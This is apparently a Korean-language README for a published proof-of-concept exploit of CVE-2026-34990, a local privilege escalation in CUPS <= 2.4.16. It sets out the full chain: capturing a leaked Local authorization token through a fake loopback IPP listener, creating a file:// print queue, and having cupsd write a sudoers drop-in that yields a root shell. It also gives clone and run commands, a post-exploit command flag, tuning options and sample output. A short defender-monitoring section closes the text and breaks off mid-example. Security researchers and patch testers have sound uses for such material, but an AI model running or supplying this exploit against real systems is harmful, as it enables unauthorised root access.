
CVE-2026-34990 — CUPS <= 2.4.16 로컬 권한 상승
로컬 비권한 사용자 → root, 유출된 CUPS
Local인증 토큰과 정책을 우회하는file:///프린트 큐를 통해.PoC by 0xcybersoldier
CVE-2026-34990은 OpenPrinting CUPS의 2.4.16 및 이전 버전에 영향을 미치는 로컬 권한 상승 취약점입니다.
CUPS 데몬(cupsd)에 접근할 수 있는 로컬 비권한 사용자는 루프백 인터페이스에서 공격자가 제어하는 IPP 서비스에 대해 인증을 수행하도록 유도할 수 있습니다.
그 결과로 얻은 Authorization: Local <token> 자격 증명은 CUPS 관리 인터페이스에 재사용될 수 있습니다.
이 공격 체인은 궁극적으로 file:/// 프린트 큐를 생성하고 cupsd가 root 권한으로 공격자가 제어하는 파일을 쓰도록 유도하는 데 사용될 수 있습니다.
대표적인 시연은 sudoers 드롭인을 사용하여 root 셸을 획득합니다.
이 저장소에는 공격 체인을 구현한 단일 파일 Python 3 PoC가 포함되어 있으며, 영구적인 권한 상승 설정을 직접 생성하지 않고 취약한 파일 쓰기 동작을 시연하기 위한 더 안전한 --check 모드도 포함되어 있습니다.
| 필드 | 값 |
|---|---|
| CVE ID | CVE-2026-34990 |
| 구성 요소 | OpenPrinting CUPS (cupsd) |
| 영향받는 버전 | <= 2.4.16 |
| 취약점 분류 | CWE-306 / CWE-284 |
| 영향 | 로컬 권한 상승 |
| 공격 벡터 | 로컬 |
| 필요 권한 | 낮음 |
| 사용자 상호작용 | 없음 |
| 발견자 | Asim Viladi Oglu Manizada |
| 권고문 | GHSA-c54j-2vqw-wpwp |
PoC의 대상:
OpenPrinting CUPS <= 2.4.16
로컬에서 실행 중인 CUPS 버전 확인:
curl -sI http://127.0.0.1:631 | grep -i '^Server:'
예시:
Server: CUPS/2.4.16 IPP/2.1
참고: 벤더 패치와 버전 상태는 변경될 수 있으므로, 프로덕션 연구에서 영향받는 버전 범위에 의존하기 전에 현재 업스트림 권고문을 확인하십시오.
[1] Local user issues CUPS-Create-Local-Printer
|
| device-uri = ipp://127.0.0.1:9189/ipp/print
v
[2] cupsd connects to the attacker-controlled
IPP service on loopback
|
v
[3] Fake IPP service responds with:
401 Unauthorized
WWW-Authenticate: Local trc="y"
|
v
[4] CUPS/libcups retries the request with:
Authorization: Local <token>
|
v
[5] Token captured
|
v
[6] Token reused against the CUPS administrative interface
|
v
[7] Temporary file:// printer is created and
transitioned through the printer-management workflow
|
v
[8] Print-Job causes cupsd to write the supplied
document to the file:// target
|
v
[9] Demonstration payload can modify a privileged
configuration such as sudoers
|
v
ROOT
127.0.0.1:631에서 접근 가능한 CUPS 서비스sudo 사용 가능외부 Python 패키지는 필요하지 않습니다.
저장소 복제:
git clone https://github.com/bara-almustafa/CVE-2026-34990-poc.git
cd CVE-2026-34990-poc
PoC 실행 권한 부여:
chmod +x cve-2026-34990.py
추가 종속성은 필요하지 않습니다.
비영구적 검증 모드로 시작하십시오:
./cve-2026-34990.py --check
검사 모드는 임시 증명 파일을 사용하여 취약한 root 소유 파일 쓰기 프리미티브를 시연하고 테스트 후 정리합니다.
기본 모드는 전체 권한 상승 체인을 시연합니다:
./cve-2026-34990.py
다음과 같이 명령을 지정할 수 있습니다:
./cve-2026-34990.py -c 'id'
예시:
./cve-2026-34990.py -c 'id; whoami'
| 플래그 | 기본값 | 설명 |
|---|---|---|
--cups-port | 631 | 로컬 CUPS TCP 포트 |
--listen-port | 9189 | 토큰 캡처 리스너가 사용하는 루프백 포트 |
--check | 꺼짐 | 안전 검증 모드 |
-c, --command | — | 익스플로잇 성공 후 명령 실행 |
--proof-dir | /var/tmp | 임시 증명 파일의 상위 디렉터리 |
--attempts | 8 | 파일 쓰기 시도 횟수 |
--iterations | 80 | 시도당 IPP 요청 라운드 수 |
$ ./cve-2026-34990.py --check
██████╗ ██╗ ██╗ ██████╗██╗ ██╗██████╗ ███████╗██████╗ ███████╗ ██████╗ ██╗ ██████╗ ██╗███████╗██████╗
██╔═████╗╚██╗██╔╝██╔════╝╚██╗ ██╔╝██╔══██╗██╔════╝██╔══██╗██╔════╝██╔═══██╗██║ ██╔══██╗██║██╔════╝██╔══██╗
██║██╔██║ ╚███╔╝ ██║ ╚████╔╝ ██████╔╝███████╗██████╔╝█████╗ ██║ ██║██║ ██║ ██║██║█████╗ ██████╔╝
████╔╝██║ ██╔██╗ ██║ ╚██╔╝ ██╔══██╗╚════██║██╔══██╗██╔══╝ ██║ ██║██║ ██║ ██║██║██╔══╝ ██╔══██╗
╚██████╔╝██╔╝ ██╗╚██████╗ ██║ ██████╔╝███████║██║ ██║███████╗╚██████╔╝███████╗██████╔╝██║███████╗██║ ██║
╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═════╝ ╚══════╝╚═════╝ ╚═╝╚══════╝╚═╝ ╚═╝
CVE-2026-34990 :: CUPS <= 2.4.16 Local Privilege Escalation
PoC by 0xcybersoldier
[*] Triggering CUPS token leak...
[+] Captured CUPS Local authorization token
[*] File-write race: attempt 1/8
[+] VULNERABLE: CUPS wrote a root-owned proof file
PoC는 device-uri가 루프백 인터페이스에서 공격자가 제어하는 IPP 리스너를 가리키는 임시 CUPS 프린터를 생성합니다.
예시:
ipp://127.0.0.1:9189/ipp/print
로컬 리스너는 인증 챌린지로 응답합니다:
401 Unauthorized
WWW-Authenticate: Local trc="y"
이로 인해 CUPS 클라이언트/서버 상호작용이 로컬 인증 메커니즘을 사용하여 요청을 재시도하게 됩니다.
PoC는 그 결과로 생성되는 다음 자격 증명을 캡처합니다:
Authorization: Local <token>
캡처된 토큰은 CUPS 관리 인터페이스에 대한 요청에 재사용됩니다.
개념적으로:
Authorization: Local <TOKEN>
이는 후속 프린터 관리 작업에 필요한 인증 컨텍스트를 제공합니다.
그런 다음 공격은 프린터 관리 워크플로를 악용하여 file:// 대상을 참조하는 큐를 생성합니다.
관련 대상의 형식은 다음과 같습니다:
file:///path/to/target
PoC는 큐를 온라인 상태로 만들고 인쇄 작업을 제출하는 데 필요한 프린터 관리 작업을 사용합니다.
인쇄 작업은 원시 문서로 제출됩니다.
cupsd가 root 권한으로 동작하기 때문에, 결과 파일 작업은 root 권한으로 발생할 수 있습니다.
--check 모드는 이 프리미티브를 사용하여 임시 증명 파일을 생성하고 해당 파일이 UID 0 소유인지 확인합니다.
전체 시연은 sudoers 드롭인과 같은 권한 있는 구성 파일을 사용할 수 있습니다.
개념적으로:
user ALL=(ALL) NOPASSWD: ALL
파일이 적절한 소유권과 권한으로 성공적으로 작성되면, 영향을 받는 사용자는 다음을 호출할 수 있습니다:
sudo -n -s
그리고 root 셸을 획득합니다.
| 증상 | 가능한 원인 | 제안된 해결책 |
|---|---|---|
No Local token received | CUPS가 패치되었거나 리스너에 접근할 수 없음 | CUPS 버전 및 리스너 확인 |
CUPS is not reachable | CUPS가 중지되었거나 다른 포트를 사용함 | --cups-port <port> 사용 |
| 인바운드 연결 없음 | 로컬 프린터 생성이 제한됨 | CUPS 작업 정책 검토 |
NOT CONFIRMED | 파일 쓰기 시도가 성공하지 못함 | --attempts / --iterations 증가 |
| Sudoers 페이로드 거부됨 | 사용자 이름 또는 환경이 다름 | --check 사용 |
| 리스너 바인드 오류 | 포트가 이미 사용 중 | 다른 --listen-port 사용 |
루프백 트래픽 모니터링:
sudo tcpdump -i lo -n port 9189
최소 검증 실행:
./cve-2026-34990.py \
--check \
--attempts 1 \
--iterations 1
CUPS 서비스 확인:
systemctl status cups
리스닝 소켓 확인:
ss -lntp | grep ':631'
방어자는 이 공격 체인과 관련된 여러 지표를 모니터링할 수 있습니다.
다음을 찾으십시오:
cupsd → 127.0.0.1:<high-port>
특히 예상치 못한 로컬 포트로의 연결을 주시하십시오.
예시: